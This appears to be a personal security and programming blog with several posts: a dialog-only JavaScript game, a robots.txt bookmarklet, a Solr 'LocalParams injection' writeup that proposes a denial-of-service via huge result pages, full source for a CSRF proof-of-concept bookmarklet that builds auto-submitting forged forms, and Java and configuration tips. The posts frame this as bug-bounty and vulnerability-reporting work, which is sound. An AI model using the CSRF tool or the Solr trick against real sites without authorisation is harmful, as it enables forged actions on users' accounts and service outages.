javahacker.com

The Java Hacker – Peter Jaric's Blog

Agessa’s World – a game where the interface consists of only alert(), confirm() and prompt()

A while ago I asked myself: who uses alert() for anything but debugging in web applications nowadays? It didn’t take long to go from that question to the idea that I should make something that uses only native dialogs, just for fun.

TL;DR: Play the game “Agessa’s World”!

The result is a game that only uses alert(), confirm() and prompt(). Nothing else is visible to the user. I have created a small “framework” that I call ACP, and a small demo game using that framework. The code can be found at my Github repository ACP. And the game is here (same link as above).

One thing I have learned from this is that while the framework logic didn’t take that much time, writing the story and the game world was very time consuming, even though the game is quite small. Now i have more respect for all the game devs out there, that’s for sure.

EDIT:
I forgot to thank Jonatan Heyman, who beta-tested the game and found some irritating glitches.

Linkifying robots.txt

I find it quite fun to look for vulnerabilities in websites and then report them (to hopefully gain a bug bounty or at least a place on a Hall of Fame list). One place to find interesting stuff is in the robots.txt file present on many websites.

It is quite annoying though, that the relative URLs found in the file are not clickable. So I made a bookmarklet (JavaScript code run from a bookmark in your browser) to make this possible. I had to make two versions, one for Firefox and on for Chrome, working slightly different.

Installation

Go to this bookmarklet editor.
Paste the code below (depending on browser) into the text field.
Enter a name of your choice for the bookmarklet (e.g. “Linkify robots.txt”).
Click “Compress”.
Drag the bookmarklet link found at the bottom to your bookmarks.

FireFox

javascript:
(function(){
  var base=location.protocol+"//"+location.hostname+(location.port&&":"+location.port);
  var html=document.body.textContent.replace(/: (/.*)/g,': <a href="'+base+'$1">$1</a>');
  html=html.replace(/n/g,'<br>');
  document.open();
  document.write('<body>'+html+'</body>');
  document.close();
}
)()

Chrome

javascript:
(function(){
  var w=window.open();
  var base=location.protocol+"//"+location.hostname+(location.port&&":"+location.port);
  var html=document.body.textContent.replace(/: (/.*)/g,': <a href="'+base+'$1">$1</a>').replace(/n/g,'<br>');
  w.document.write('<body>'+html+'</body>');
  w.document.close()
}
)();

Usage

Go to a robots.txt file somewhere on the web and click the bookmarklet.

Abusing the Solr local parameters feature – LocalParams injection

Solr is an open source search platform built by the Apache project. You can read more about it at the Solr site, but I’ll go straight to the point. Quite a few sites has based their search functionality on Solr and many of them suffer from a small problem, that I call “LocalParams injection” for lack of a better word (please suggest something more fitting, or tell me if there already is a term for this).

Background

LocalParams is a way to insert meta data about the search into the query string. For example, if the user searches for “food”, and has indicated the she wants 20 rows per page, we can change the query to “{! rows=20} food” before we send it to the query parser.

A vulnerability

What I have seen is that many Solr implementations fail to sanitize the search string properly and allow the LocalParams syntax to pass through. This makes it possible to inject whatever local parameters you want to into the query. I have been experimenting with the rows parameter, but there probably are other ways to abuse this functionality.

A potential exploit

So what can you do? Well, if you first make a search that results in a great number of hits (sometimes *, or *:*, works, which means all documents), you can then prefix it with {! rows=the same number}. The server now has to serve you all these results on one page. For some sites, this takes a very long time.

I am suggesting that by making a (not that large) number of these requests (with small variations to defeat caching) simultaneously you could potentially carry out a Denial of Service attack against the search server, or maybe even the web site if they share resources. I have not tried this, though, and can’t say for sure that I am right.

Reported and fixed

I have reported this vulnerability to a number of sites and most of them have fixed it already. These include:

Sea Surfer v2

A little while ago I made a bookmarklet called the Sea Surfer for detecting and exploting CSRF vulnerabilities. Since then I have got some feedback from Ashar Javed which has prompted me to create a slightly improved version.

Sea Surfer v2 release notes:

  • jQuery is loaded automatically (no need to run the jQuerify bookmarklet first)
  • All inputs and textareas are converted to hidden inputs
  • window.open is used instead of iframes
  • Bug fixes

How does it work – what does it do?

When I come to a page with a form I’d like to check, I click on the Sea Surfer link in my bookmarks bar. In the new tab I check in the form if it contains any CSRF tokens. If it does, I don’t check the page any further. This takes less than 5 seconds. On the other hand, if the form looks exploitable, I change some values and try it out. When the form is submitted the resulting page mostly gives immediate feedback if the CSRf succeeded (it often contains the modified value). Such a successful exploit often take less than 30 seconds. What I am trying to say is that I think that the Sea Surfer simplifies the process quite much.

Installation

  • Add the Sea Surfer v2 bookmarklet to your bookmarks (by dragging the link to your bookmarks bar, for example)

How to use

  • Choose a page with forms that you want to check
  • Run the Sea Surfer by clicking the bookmarklet link
  • In the resulting window or tab, all forms on the page will be displayed in text areas. Choose the one that you want to check if it does not contain any CSRF tokens or similar, edit the inputs and then click “Test vulnerability”

A new window or tab will open and the form will be submitted automatically. If the submit succeeded (it is not detected as not being legit), you can use the edited form as a proof of concept when you report the vulnerability. I have only tested this in Firefox and Chrome (in Windows).

Source code

As I stated in the previous post, please modify this code anyway you want to. Then make a bookmarklet of it. This time I used the original Bookmarklet Crunchinator. In the bookmarklet above I’ve base64 encoded the code to be able to include the bookmarklet in this page. This is not necessary if you convert the code to a bookmarklet yourself and just put it in your bookmarks.

(function(){
    var version = 2;
    var w = window.open();
    
    // getScript() by paul irish
    // http://pastie.org/462639
    function getScript(url, success){
        var head = document.getElementsByTagName("head")[0],
        done = false;
        var script = document.createElement("script");
        script.src = url;
        
        // Attach handlers for all browsers
        script.onload = script.onreadystatechange = function() {
            if (!done && (!this.readyState || this.readyState == "loaded" || this.readyState == "complete")) {
                done = true;
                success();
            }
        };
        head.appendChild(script);
    }
    
    function seaSurfer($) {
        function convertToHidden(elem) {
            return '<input name="' + elem.attr('name') + '" value="' + elem.val() + '" type="hidden"/>';
        }
        
        var body = $(w.document.body);
        body.append('<h1>Sea Surfer v' + version + '</h1><p>By <a href="http://twitter.com/peterjaric">@peterjaric</a> at <a href="http://javahacker.com">javahacker.com</a>.</p>');
        
        // Create test entry for each form on the page
        $('form').each(function(i) {
            var form, formInputs, inputs, area, desc, script, a, autoSubmit, formHtml;
            form = $(this).clone();
            
            // Some info about the form
            desc = '<h2>Form ' + (i + 1) + ' (' + form.attr('action') + ')</h2>';
            body.append(desc);

            // Prepare the form code
            a = document.createElement('a');
            a.href = form.attr('action');
            form.attr('action', a.href);
            form.removeAttr('onsubmit');
            form.removeAttr('class');
            form.removeAttr('style');

            // Find the current inputs (etc) of the form, only caring about the current values
            formInputs = 'input[type=text],input[type=hidden],input[type=password],input:checked,select,textarea';
            inputs = $(this).find(formInputs); // using $(this) instead of form since clone doesn't clone textarea values

            // Replace them with hidden inputs (and some formatting)
            form.empty();
            form.append('\n');
            inputs.each(function() {
                console.log($(this).val());
                form.append('  ' + convertToHidden($(this)) + '\n');
            });

            // Create a textarea and insert the form and some code that will auto submit the form later
            area = $('<textarea id=\'area' + i + '\' cols=120 rows=20>');
            autoSubmit = '<script>document.getElementsByTagName(\'form\')[0].submit();</script>';
            formHtml = form.wrap('<div>').parent().html();
            area.text(formHtml + autoSubmit);
            body.append(area);

            // Create a button that will open a new window that will submit the form
            script = 'javascript:function insertAfter(newChild,refChild){refChild.parentNode.insertBefore(newChild,refChild.nextSibling);} var area = document.getElementById(\'area' + i + '\'); var csrfWin = window.open();  csrfWin.document.write(area.value);';
            body.append('<br/><input type=submit value="Test vulnerability" onclick="' + script + '"/><br/>');
        });
    }


    getScript('http://code.jquery.com/jquery-1.7.2.min.js', function() {
        // Remove all global traces of our newly loaded
        // jQuery and Then run the seaSurfer
        jQuery.noConflict(true)(function(jQuery) {
            seaSurfer(jQuery);
        });
    });
})();

Again: the point of this is to find vulnerabilities in your own web apps and fix them, or in other web apps and report them.

Enjoy!

The Sea Surfer – a Simple Tool for CSRF Vulnerability Detection and Proof-of-Concept Creation

Lately I have taken an interest in web application security, as covered by OWASP. One common vulnerability in web applications is to be sensitive to CSRF attacks. I have made a small tool in the form of a bookmarklet to detect CSRF vulnerabilities and create proof-of-concept exploits. It is very simple, but it does the job. There will probably be cases when it doesn’t work, but mostly it should. I guess there are similar tools out there already, and you can do this with Firebug for example (albeit that is a bit more cumbersome), but make not mistake: I’m in it for the code.

Installation

  • Add the jQuerify bookmarklet to your bookmarks (go to Learning jQuery to find it)
  • Add the Sea Surfer bookmarklet to your bookmarks (by dragging it to your bookmarks bar, for example)

Why do you need to install jQuerify? I was a little lazy and used jQuery in the code, and when I tried to use a jQuery Bookmarklet generator (that would include jQuery for me), Firefox blocked the popup. I am not exactly sure why, but it may have to do with that the window.open call doesn’t seem to originate from the click on the bookmarklet.

How to use

  • Choose a page with forms that you want to check
  • Run jQuerify by clicking it
  • Run the Sea Surfer by clicking it
  • In the resulting window or tab, all forms on the page will be displayed in text areas. Choose one that does not contain any CSRF tokens or similar, edit the inputs and then click “Test vulnerability”

An iframe will open and the form will be added to it. It will be submitted automatically. If the submit succeeded, you can use the edited form as a proof of concept when you report the vulnerability. I have only tested this in Firefox and Chrome (in Windows).

Source code

I have more or less hacked this together. Do not expect the highest code standards. Please modify it anyway you want to, though. Then make a bookmarklet of it, with a bookmarklet generator if you want to. I used the Bookmarklet Crunchinator. In the bookmarklet I’ve base64 encoded the code to be able to include the bookmarklet in this page (it broke the page layout, and I may have spent more on trying to fix that than on the code itself). This is not necessary if you convert the code to a bookmarklet yourself and just put it in your bookmarks.

    if (typeof jQuery === 'undefined') {
        alert('Run jQuerify first!');
    } else {
        var w = window.open();
        var body = jQuery(w.document.body);
        jQuery('form').each(function(i) {
            var clone = jQuery(this).clone();
            var inputs = clone.find('input,textarea,select');
            var area = jQuery('<textarea id=\'area' + i + '\' cols=120 rows=50>');
            var desc = '<h1>Form ' + i + '</h1><p>Edit the values and click \'Test vulnerability\' to try it out.</p>';
            var script = 'javascript:function insertAfter(newChild,refChild){refChild.parentNode.insertBefore(newChild,refChild.nextSibling);} var area = document.getElementById(\'area' + i + '\'); var iframe = document.getElementsByTagName(\'iframe\')[0]; if (!iframe) { iframe = document.createElement(\'iframe\'); insertAfter(iframe, area); }  iframe.contentDocument.write(area.value);';
            var a = document.createElement('a');
            a.href = clone.attr('action');
            clone.attr('action', a.href);
            clone.empty();
            clone.append(inputs);
            area.text(clone.wrap('<div>').parent().html().replace(/>/g, '>\n') + '<script>document.getElementsByTagName(\'form\')[0].submit();</script>');
            body.append(desc);
            body.append(area);
            body.append('<br/><input type=submit value="Test vulnerability" onclick="' + script + '"/><br/>');
        });
    }

Finally: the point of this is to find vulnerabilities in your own web apps and fix them, or in other web apps and report them.

Update

I noticed that there was a quite big short-coming in my code: I only included inputs in the forms, not textareas or selects. This is now fixed.

Meeting Notes #1

I often draw something when I attend meetings at work. It helps me concentrate and it’s fun. I’ll upload some of these drawings here. Here’s the first one:

Fun with JavaScript: count parentheses

Yesterday, I wrote a JavaScript function that returned another function. At one place I wanted to call the returned function immediately, resulting in code looking somewhat like this:

someFunction()()

When seeing that code, I asked myself: would it be possible to count the (pairs of) parentheses? After tinkering a bit, I first came up with (as much whitespace as possible cut away to make it fit into a tweet):

function c(a){function b(){return c(arguments.callee.count)};b.count=1+~~a;return b;}

Then I removed the unnecessary use of arguments.callee:

function c(a){function b(){return c(0-~a)};b.count=0-~a;return b}

Finally I wanted to replace the function name c with something looking like a pair of parentheses, and with the help of Mathias Bynens (@mathias) and Gareth Heyes (@garethheyes) I arrived at this:

function ᑕᑐ(a){function b(){return ᑕᑐ(-~a)};b.count=1-~a;return b}ᑕᑐ.count=1;

After running that code, it is now possible to do (this is from the Firebug console):

>>> ᑕᑐ.count
1
>>> ᑕᑐ()().count
3
>>> ᑕᑐ()()()()().count
6

Yes, I know, ᑕᑐ doesn’t really look like parentheses…

Citerus Programming Challenge at JFokus 2011

The company Citerus held a programming competition at the JFokus 2011 developer conference. I was one of the more than 100 contestants. Read more about it at http://www.citerus.se/post/vinnare (in Swedish).

I have included both the winning solution from Carin Lidberg and my own solution below. They are quite different :)

The winning solution:

public class CiterusChallenge {
  static String[] substrings =
    {"TDD", "DDD", "DI", "DO", "OO", "UI",
     "ANT", "CV", "IOC", "LOC", "SU", "VO"};

  public static void main(String[] args) {
    System.out.println(removeSubstringsToTheRight(
        "VOCDIITEIOCRUDOIANTOCSLOIOCVESTAIOCVOLIOCENTSU", 0));
  }

  public static String removeSubstringsToTheRight(String s, int start) {
    int minimum = s.length();
    String result = s;
    for (String substr : substrings) {
      int i = s.indexOf(substr);
      while (i >= 0) {
        if (i + substr.length() > start) {
          String newString = s.substring(0, i) +
                s.substring(i + substr.length());
          newString = removeSubstringsToTheRight(newString, i);
          if (newString.length() < minimum) {
            minimum = newString.length();
            result = newString;
          }
        }
        i = s.indexOf(substr, i + 1);
      }
    }
    return result;
  }
}

And here is my solution. The shortenString method was recursive up to before this version, but I finally made it iterative for performance reasons.

import java.util.ArrayList;
import java.util.Arrays;
import java.util.HashSet;
import java.util.List;
import java.util.regex.Matcher;
import java.util.regex.Pattern;

/**
 * This class attempts to solve the Citerus JFokus 2011 Challenge
 * (http://www.citerus.se/jfokus).
 * 
 * Run this program like this:
 * java Shortener   [ [...]]
 *
 * The example input given in the challenge is:
 * 
 * The string we want to shorten:
 * VOCDIITEIOCRUDOIANTOCSLOIOCVESTAIOCVOLIOCENTSU
 * Words that can be removed:
 * TDD, DDD, DI, DO, OO, UI, ANT, CV, IOC, LOC, SU, VO
 *
 * The algorithm basically does an exhaustive search for all possible
 * ways to remove the given words from the input string, but with a few 
 * optimizations (all timings based on a few test runs on my computer):
 *
 * 1) Cache
 * Before trying to remove words we check if it is already done for
 * this particular substring. If it is, we just skip it.
 *
 * 2) Divide and conquer
 * The input string might contain characters that can not be removed since
 * they do not exist in any of the words. We can used these characters as
 * delimiters between which we can extract substrings to shorten, one at a
 * time. This optimization can be very effective if the input string has
 * such characters. Compared to the version above, this runs about 
 * 35 - 40 times faster on the example input (~2.3ms vs ~85ms).
 * 
 * There is at least one more optimization that could be added (in a future 
 * version), however it wouldn't have any effect on the example input, since
 * it doesn't meet the requirements:
 * 
 * 3) Safely removable words
 * Words that do not overlap with themselves or any other words (DO and OO
 * overlap, IOC and LOC does not) can always be removed directly from a 
 * string that is about to be shortened. This is because of that since no
 * other word may remove characters from substrings that match these 
 * non-overlapping words (NOWs) the substrings will stay in the string until
 * they are removed by the NOW, even far down in the search tree. Cutting 
 * them out directly will make the search tree smaller and the search quicker.
 * 
 * Known issues:
 * For large inputs the algorithm will take quite some time.
 * For very large inputs the VM will run out of heap space.
 * 
 * CAVEAT:
 * This class does not attempt to be general in any other way than that it
 * accepts different inputs. Specifically, it isn't meant to be subclassed
 * or used from other code and hence it is put in the default package for
 * simplicity. For the same reasons it contains a main method.
 * 
 * @author Peter Jaric 
 * @version 6
 */
public class Shortener {
  /**
	 * Words that can be removed.
	 */
	private String[] allWords;
	
	/**
	 * Creates a Shortener that can be run on different input strings
	 * with the given words.
	 * 
	 * @param words to remove from strings
	 */
	public Shortener(String[] words) {
		this.allWords = words;
	}
	
	/**
	 * Finds the shortest string possible by removing this Shortener's words
	 * in the most advantageous order. 
	 * 
	 * @param input The string to shorten
	 * @return The shortest possible string
	 */
	public String shorten(String input) {
		// Implementation of the divide and conquer optimization follows:

		// Find all possible characters that can be removed by
		// simply concatenating all words
		String possibleChars = "";
		for (String word : allWords) {
			possibleChars += word;
		}
			
		// Create a (quite ugly) regexp that matches possible removals
		Pattern p = Pattern.compile("[" + possibleChars + "]+");
	
		// Start matching on the input string
		String todo = input;
		Matcher m = p.matcher(todo);
		String done = "";
		
		// For each match of possible removals, shorten it and save it
		while (m.find()) {
			// Find the match
			String match = m.group();
			
			// Add the shortened match together with any possible non-matching
			// stuff before it to what we have done already
			done += todo.substring(0, m.start()) + shortenString(match);
			
			// Shorten the todo string with what we already have done.
			todo = todo.substring(m.end());
			
			// Tell the matcher to use the todo string in next iteration
			m.reset(todo);
		}

		// There might be some unmatchable stuff left at the end. Add it
		// if so.
		if (!todo.equals("")) {
			done += todo;
		}
    
		// End of implementation of the divide and conquer optimization

		return done;
	}
	
	/**
	 * Finds the shortest string possible by removing this Shortener's words.
	 *  
	 * @param input The string to shorten
	 * @return The shortest possible string
	 */
	private String shortenString(String input) {
	  // The list of strings to process, i.e. to 
	  // shorten. We are using an ArrayList for 
	  // performance reasons.
	  List toProcess = new ArrayList();

    // Set to hold strings that we have added to the list.
    // Note that all strings will go here, even those 
    // that can not be shortened further.
	  // This implements the cache optimization.
    HashSet seen = new HashSet();
    
    // String builder to use for removing words inside strings
    StringBuilder sb = new StringBuilder();
    
    // Index of the current string to process.
    int marker;
    
    // Seed the list with the input string
    toProcess.add(input);
    seen.add(input);
    marker = 0;

    // Work through all strings in the queue until all are 
    // processed. Shorter strings will be added to the list as we 
    // go along.
    while (marker < toProcess.size()) {
      // Get the string to process.
      String current = toProcess.get(marker);
      // Move the marker one step forward.
      marker++;
      
      // Loop through all ways of shortening the string
      // by removing one of the words.
      for (String word : allWords) {
        // Loop through all matches for the word in the input string, remove
        // the word, and add the result to the list.
        for (int i = current.indexOf(word); i != -1; i = current.indexOf(word, i + 1)) {
          // Remove the word
          sb.append(current.substring(0, i));
          sb.append(current.substring(i + word.length()));
          String shorter = sb.toString();
          
          // If the shorter string hasn't already been
          // seen, add it to the list.
          if (!seen.contains(shorter)) {
            seen.add(shorter);
            toProcess.add(shorter);
          } 
          
          // Clear the string builder for the next loop.
          sb.setLength(0);
        }
      }    
    }
    
    // Loop through all strings that have been 
    // processed and select the shortest one.
    // Start with the longest one.
    String shortest = input;
    for (String current : seen) {
      if (current.length() < shortest.length()) {
        shortest = current;
      }
    }
    return shortest;
	}
	
	/**
	 * Main method...
	 */
	public static void main(String[] args) {
		// Check arguments
		if (args.length < 2) {
			System.err.println("Too few arguments.");
			System.exit(1);
		}
		
		// Extract input string and words from arguments
		String input = args[0];
		String[] words = Arrays.copyOfRange(args, 1, args.length);
	
		// Create Shortener, shorten string and print result
		Shortener shortener = new Shortener(words);
		String shortest = shortener.shorten(input);
	}
}

Fixing a mistake in auto-opening settings in Chrome

When I was going to open a Spotify link in Google Chrome and the browser asked me if I wanted to open it or not, I checked the “Remember my decision” check box and then clicked “Do not open”, by mistake. And due to Google Chrome’s lack of customization, I could not find where to fix this issue in the options dialog.

But some googling finally led me to this clue. I closed Chrome and opened my LocalState file that I found in C:Users_user_name_AppDataLocalGoogleChromeUser Data (Windows 7). I searched for spotify and found this entry:

 "protocol_handler": {
      "excluded_schemes": {
         "afp": true,
         "data": true,
         "disk": true,
         "disks": true,
         "file": true,
         "hcp": true,
         "javascript": true,
         "mailto": false,
         "ms-help": true,
         "news": false,
         "nntp": true,
         "shell": true,
         "snews": false,
         "spotify": true,
         "vbscript": true,
         "view-source": true,
         "vnd": {
            "ms": {
               "radio": true
            }
         }
      }
   }

I changed the spotify value to false and after reopening Chrome I now can open Spotify links!

Edit settings for screensavers in gnome-screensaver

In newer versions of Ubuntu (and Linuxes) xscreensaver has been replaced with gnome-screensaver. The same screensavers are supported (with some exceptions, I guess), but there is one thing that is lacking: per-screensaver configuration. The author of gnome-screensaver thinks that this is not needed.

There are some ways to get around this, among them: replace gnome-screensaver with xscreensaver (this has some side-effects that may not be desired) or install xscreensaver alongside gnome-screensaver.

If you are comfortable with editing configuration files and reading man pages I would recommend the following way: find and edit the desktop file of each screensaver you want to configure, using the screensaver’s command line options.

Find out where the desktop files are located, read the man page and then edit the desktop file.